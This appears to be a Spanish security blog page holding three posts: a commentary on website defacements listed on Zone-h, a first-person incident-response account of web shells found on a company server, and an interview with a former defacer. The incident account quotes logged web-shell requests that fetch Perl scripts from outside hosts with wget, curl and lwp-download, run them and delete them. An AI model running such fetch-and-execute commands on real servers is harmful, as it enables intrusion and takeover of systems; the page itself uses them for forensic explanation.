El defacement de la web de Donald Trump y la "competi" por hacer grafitis en sitios web

Hacía mucho tiempo que no entraba a Zone-h a ver algunos Defacement de páginas web. Durante años visitaba todos los días para ver qué habían publicado nuevo, pero desde que comenzaron los ataques masivos a servidores DNS para hacer defacements con técnicas de redirect por miles, lo fui dejando de visitar poco a poco. Hoy la noticia ha sido el Defacement de la web del ex-presidente Donald Trump, y he entrado otra vez a primera hora de la mañana para ver "cómo iba la competi".

Figura 1: El defacement de la web de Donald Trump y

la "competi" por hacer grafitis en sitios web

Si has visto charlas mías antiguas, seguramente me habrás escuchado hablar de Zone-h y los defacement. El arte del "Defacement" consiste en modificar la apariencia de una web controlando lo que se pinta en un determinado dominio, en el caso de hoy, el dominio de la web personal del ex-presidente Donald Trump. 

Figura 2: Defacement a la web de Donald Trump

Esto se puede hacer de muchas formas, desde hackeando el servidor DNS y haciendo que apunte a otra servidor web controlado, hasta hackeando el servidor web y cambiando los archivos que sirve, modificando la base de datos de dónde se cargan los datos o, como se hizo en la web de la popular conferencia de seguridad informática, hackeando un servidor tercero desde el que se carga algo de contenido - es decir, un ataque a un proveedor -.

Figura 3: Lista de sitios recientes defaced relevantes en Zone-h

El defacement es un arte muy similar al grafiti, consiste en hacer una pintada en una web en forma de mensaje escrito, de diseño gráfico, de simple firma para saber que el artista ha sido capaz de firmar en la web, pero que podría haber hecho algo mucho más sibilino y sutil. Hay que tener en cuenta que, por ejemplo, si alguien hubiera visitado la web hackeada de "juantaextremadura.net" - reportada la semana pasada - podría haber sito atacado si el atacante hubiera querido poner algo malicioso para los visitantes. Pero a él le ha bastado con poner un archivo de texto con su firma.

Figura 4: Defacement de firma aún activo en juntaextremadura.net

Entrar a Zone-h siempre es darse cuenta de cómo funciona el mundo de Internet, de lo fácil que sigue siendo para los atacantes entrar en los servidores expuestos a la red de empresas y administraciones públicas. Por ejemplo, ese ejemplo que os acabo de poner de Junta de Extremadura, aún se encuentra sin ser detectado y reparado, a pesar de que esta dado de alto y publicado en la web más famosa de defacements.

Figura 5: Defacement de la Biliboteca Forestal del Gobierno de México

Por supuesto, siempre quedarán ya en el mirror - la copia que hace el sito Zone-h del defacement para que perdure después de que sea arreglado, así que es también una buena medida para conocer el nivel de protección o no que tiene una determinada organización, ya que se pueden buscar dominios, direcciones IP, defacements, etcétera.

Figura 6: Mirror de defacement Homepage en dominio .FR

Además siempre es curioso ver los defacement destacados, con especial interés con los que han sido en la Homepage, que vienen marcados con la H. Este es otro fresco, de un dominio en Francia que aún está "caliente" ya que es de ayer mismo. Supongo que hoy tendrán trabajo los equipos de CSIRT, el CISO, los pentesters, etcétera, para saber qué ha pasado, a qué ha afectado, cuánto hay que notificar a los clientes, cómo lo arreglamos, cómo hacemos que no vuelva a pasar.... es decir, hoy es día para que casi todos los roles de seguridad en esa organización trabajen un poco más nerviosos debido a la exposición pública... como los de la web de Donald Trump.

Figura 7: Defacement de Homepage aún "caliente" en domino .FR

Entra un rato a Zone-h, curiosea por allí a ver qué encuentras, que siempre hay cosas curiosas, por lo artístico de los defacers rusos, turcos y chinos, por las víctimas que te vas a encontrar, o por la cantidad de sitios que es capaz de hacerse un solo defacer o un grupo de ellos. Te va a dar una curiosa impresión de cómo es la seguridad del mundo de la web, para que navegues por sitios web al tuntún en tu día a día... Imagina que todos esos sitios hackeados en lugar de grafitis y firmas se dedicaran a distribuir ransomware... oh, wait!

¡Saludos Malignos!

Autor: Chema Alonso (Contactar con Chema Alonso)  

Una historia personal con servidores owneados en mi red

Es lunes por la mañana y llego al trabajo con pocas ganas , aún con el chip de fin de semana activo, cuando de repente un compañero me despierta con un repentino: “nos van a venir bien tus conocimientos de seguridad, porque tenemos un virus en la red y nos van a bloquear la conexión a no ser que lo solucionemos”. Automáticamente el chip cambió y se activó el cuerpo. ¡Hora de la diversión!

Para poder entender la situación mejor, digamos que el escenario de trabajo es una gran empresa  que se encuentra “dividida” en dos más pequeñas. De ellas, el equipos IT de una de ellas es el que se encarga de la conectividad con el exterior y el equipo IT de la otra de los sistemas. Este entorno fueza a que el acceso desde Internet a la de empresa que se encarga de los sistemas debe pasar obligatoriamente por las redes de la otra empresa. Yo formo parte de la de empresa que gestiona los sistemas.

La empresa de conectividad nos envía un comunicado en el que parece ser que nuestro frontal web tiene instalada un web shell WSO 2.5. Sin embargo, analizando la traza incompleta que nos proporcionaron, veo que hay una dirección IP con puerto 81 “escondida” por ahí que corresponde a un firewall. Viendo la configuración del firewall veo que el puerto 81 lo redirige a un servidor que no gestionamos nosotros. Analizando los ficheros de log de Apache, veo una serie de llamadas a ficheros PHP más que sospechosos, casi todas ellas con estado de respuesta 404. Por ejemplo:

GET /blablabla/images/stories/food.php?rf
HTTP/1.1" 404 1024 "Mozilla/5.0
(Windows; U; Windows NT 5.1; en-US; rv:1.9.2)
Gecko/20100115 Firefox/3.6"

Mmm curioso. Decido buscar qué peticiones a ficheros PHP tuvieron éxito utilizando egrep “php.*200” log y aquí es donde empiezan los resultados interesantes. Algunas muestras de peticiones que tuvieron éxito son las siguientes:

GET /blablabla/images/stories/food.php?cmd=
wget%20http://www.regme.cz/wp-content/uploads/2014/02/robot.txt;
perl%20robot.txt;perl%20robot.txt;perl%20robot.txt;perl%20robot.txt;
perl%20robot.txt;perl%20robot.txt;rm%20-fr %20robot.*
HTTP/1.1" 200 - "Mozilla/5.0
(Windows; U; Windows NT 5.1; en-US; rv:1.9.2)
Gecko/20100115 Firefox/3.6

GET /blablabla/images/stories/food.php?cmd=
curl+-C+-+-O+http://tarmim.pl/Albasoul/alb.txt
%3Bperl+alb.txt%3Brm+alb.txt
HTTP/1.1" 200 845 "Mozilla/5.0
(Windows; U; Windows NT 5.1; en-US; rv:1.9.2)
Gecko/20100115 Firefox/3.6

GET /blablabla/images/stories/food.php?cmd=cd%20/tmp%20;
lwp-download%20http://www.ciaenote.com.br/lojawp/wpcontent/upgrade/p.log;
perl%20p.log%20;%20rm %20-rf%20p.log
HTTP/1.1" 200 901 "Mozilla/5.0
(Windows; U; Windows NT 5.1; en-US; rv:1.9.2)
Gecko/20100115 Firefox/3.6"

Y así seguían unas cuantas decenas más de ellas. A su vez, cada uno de esos scripts llamaba a otros scripts de otros sitios que supongo que habrán sido comprometidos también por el mismo ataque. Como parece más que evidente, el fichero de la WebShell lleva por nombre food.php, así que me puse en contacto con alguien que tuviera acceso a ese equipo detrás del firewall que hacía las llamadas y preguntarle por ese archivo en el servidor web.

El responsable confirmó que sí, que estaba ese fichero y también otro con nombre food2.php. Para evitar que pudiera ser utilizado por los atacantes, pedí que fuera eliminado ese fichero para que, a priori, ahí queda el límite del incidente. Sin embargo, todos los que estamos relacionados con la seguridad informática,sabemos que una vez que un servidor ha sido comprometido lo mejor es aplicar "fuego purificador" en ese servidor para evitar ser afectados por cualquier otro backdoor que hubiera podido ser instalado en la máquina.

El proceso habitual sería hacer un análisis forense de la máquina para averiguar cómo se produjo la intrusión y en paralelo restaurar una copia de seguridad que se sepa que está bien, poniendo mil ojos a las opciones de monitorización y auditoría hasta que se sepa cómo entró la WebShell en el sistema.

Como os he contado al principio, la máquina no está en nuestra empresa, así que al comentar los siguientes pasos a realizar con los responsables de la máquina nos informaron de un pequeño problema. Como "buena práctica de seguridad", no se hacen backups de esa máquina. De todas formas, como veremos un poco más adelante, si se hubieran hecho las copias de seguridad de poco hubiera servido.

Mientras pasaban todos estos acontecimientos, echando un vistazo a los ficheros de log, me di cuenta de que otra llamada parecía indicar con más que toda probabilidad la existencia de otra shell en el sistema:

GET /blablabla/images/stories/vvv3.php? p=edit&
dir=/srv/www/htdocs/blablabla/images/stories&
file=/srv/www/htdocs/blablabla/images/storie s/food.php
HTTP/1.1" 200 4506 "Mozilla/5.0
(Windows NT 6.2; WOW64; rv:27.0
 Gecko/20100101 Firefox/27.0"

Esta vez, en vez de solicitar que miraran si ese archivo existía, lo que hice fue conectarme directametne a ese fichero PHP. Normalmente, cuando un pentester o un defacer profesional sube una WebShell a un servidor, lo hace estableciendo una contraseña, pero como ya se ha visto muchas veces, hay WebShells subidas sin ninguna protección y hasta indexadas en Google, así que había que probar cuál es el tipo de atacante al que nos enfrentamos.

Figura 1: WebShells indexadas en Google

No fue muy difícil, una petición et voilà! La WebShell no tiene ninguna protección de seguridad y yo tengo acceso al servidor con los privilegios del usuario Apache, pudiendo ejecutar cualquier comando siempre que este usuario tenga esos permisos - por eso es tan importante el Hardening de lo sistemas GNU/Linux -.

Figura 2: WebShell en los servidores owneados.

De un modo irónico, gracias a esta WebShell pude seguir investigando el compromiso de nuestros equipos, detectando unas cuantas WebShells más, como por ejemplo el zet.php que aparece en la imagen superior. También detecté numerosas aplicaciones para el envío masivo de e-mails en campañas de spam, por ejemplo el wew.php que sale en el listado anterior.

Figura 3: Conexión desde Kali Linux al programa PHP para hacer la campaña de spam

Una vez identificado el compromiso, me puse a investigar en los ficheros de log desde cuándo habían sido vulnerados y owneados estos servidores. El reporte de la empresa de conectividad hacía referencia al 14 de Febrero de este año pero tirando de trazas en los ficheros de log yo llegué hasta Octubre del año pasado detectando el problema - antes de que desde “arriba” me dijeran que dejara de lado esta tarea, que ya no era importante, y me pusiera con otra -.

Este es el motivo por el que dije antes que si hubiera habido backups de poco servirían a priori, ya que se estarían realizando copias de seguridad infectadas desde al menos Octubre, lo que deja claro que antes de tomar una decisión apresurada hay que acotar el impacto de la infección. Por supuesto, si esas copias además hubieran sido analizadas como parte de una estrategia antimalware, probablemente hubiera sido mucho más sencillo y rápido detectar la intrusión.

Al final al menos pude convencer de que este servidor ya no era seguro, y que lo mejor que se podía hacer era - y por suerte, así se hizo -, portar sus servicios clave a una instalación nueva, por lo que ya ese servidor no existe. El otro punto bueno, - si es que una intrusión puede tenerlo - fue que gracias a todo esto, pude “concienciar” un poco al resto del equipo y muchos superiores de la importancia de la implementación de controles de seguridad - y que éstos funcionen- , por lo que me han permitido dedicar parte de mi tiempo para encargarme de dichas tareas.

Figura 4: Aplica fuego purificador al servidor y listo

Esta fue una experiencia personal que he vivido en mi empresa, y que si sirve para que alguien aprenda en experiencia ajena, empieces a luchar por poner controles de seguridad los servidores de tu empresa para evitar descubrir meses después que tus sistemas están comprometidos.

Autor: Ayoze Fernández

Entrevista a LUN4T1C0, un ex-defacer

Entre los lectores de El lado del mal he encontrado a mucha gente amante del mundo de la informática, con diferentes aproximaciones y motivaciones. A aquellos que creo que tienen una historia que contar intento hacerles una entrevista. El el caso de hoy es un ex-defacer conocido como LUN4T1C0 que se puso en contacto conmigo y he querido hacerle una entrevista para que nos cuente algunas cosas de por qué, cómo y cuál fue la razón para dejarlo por si su experiencia os puede servir a alguno de vosotros.

Saludos Malignos!

1.- ¿Cuantos sitios llegaste a "Defacear"?

La totalidad de los sitios que ingresé ilegalmente son de 3.806 que son de mi nick LUN4T1C0, en equipo más de 9.000, que en total suman 12.806 defacement

Figura 1: Reporte de defacements a nombre de LUN4T1C0 en Zone-h

2.- ¿Cuándo te diste cuenta de que lo que hacías te podía meter en problemas?

Al principio la verdad es que ni siquiera pasó por mi mente el meterme en problemas. Pero a medida que pasaba el tiempo y los años te das cuenta en las cosas que ingresaste ilegalmente, las denuncias que están bajo tu nick, que aún la policía te esté buscando. Son realmente impresionantes.

3.- ¿Qué fue lo peor que hiciste?

Lo peor fue ingresar a webs gubernamentales de mi país ya que desde ese entonces estuve casi 6 meses sin tocar un ordenador, detuvieron a mi mejor amigo que fue quien se hizo pasar por mí, para evitar 5 años de prisión y lo hizo sin mi consentimiento.

4.- ¿Qué técnicas solías utilizar normalmente para hacer defacements?

Local File Inclusion y SQL Injection ya que son las formas más fáciles de obtener información de una web vulnerable, pero hablando realmente de técnicas estas son ilimitadas y muchas las existente para explotar una vulnerabilidad.

5.- ¿Hiciste algún defacement a la carta?

---

6.- ¿Cuándo decidiste dejar de hacer defacements?

Cuando ya tenía mayoría de edad por lo que si seguía realizando defacement iba a ser fatal para mí tener papeles manchados, gracias a ello nunca me agarraron.

7.- En tu opinión, ¿tienen mucho nivel los defacers o la mayoría tira de exploits conocidos y fallos sencillos?

Los crackers de hoy en día no son muy buenos realmente porque utilizan exploits conocidos y fallos que están presentes durante años en las webs, por lo que ahora ingresar a un sistema es realmente fácil y está en manos de cualquier individuo que quiera iniciarse en este mundo.

Figura 2: Deface firmado por LUN4T1C0

8.- ¿A qué te dedicas ahora?

Ahora me dedico a hacer lo contrario a lo que hacía antes. Tengo que evitar que personas malintencionada ingresen a las plataformas de la empresa donde trabajo actualmente. En ella hay 25.000 webs y más de 1000 servidores. Como ya contaba con experiencia durante el tiempo que estuve de cracker se me ha hecho muy fácil proteger los sistemas.

9 .- ¿Qué medidas especiales tomas para evitar que te hagan un defacement?

Pues ante todo realizar hardening al sistema operativo para evitar las debilidades comunes que traen por defecto los sistemas. Actualizar todas las plataformas a una versión segura que no presente vulnerabilidades conocidas. Monitorear en tiempo real las subidas de archivos con virus HTTP y FTP. Lo tengo estrictamente monitoreado para que no intenten subir  una webshell o archivos ofuscados. Posterior a todo, lo que realizo a los sistemas es una auditoría general para verificar todo lo posible, en caso de que se escapase algo. Constantemente estoy implementando nuevas medidas para evitar los nuevos exploits que van saliendo a diario.

10.- ¿Qué le dirías a un joven que quiera meterse en el mundo del defacement?

Que sea consciente de las cosas que está haciendo. Que cualquier ingreso no autorizado que realice puede poner en jaque su vida personal y profesional ya que al momento de tener los papeles manchados probablemente en muy pocos lugares te acepten como trabajador. Y que cuando te encuentre la Policía, te quitarán absolutamente todo lo relacionado con la informática. A veces se llevan mucho más que eso.

Así que cuidado con las cosas que haces porque pueden hacer mucho daño a las empresas lo que conlleva mucha perdida de dinero. Si quieres aprender e introducirte en este mundo, lo mejor es practicar en máquinas virtuales e implementar estos software vulnerables, ya que será mucho menos peligroso para ti.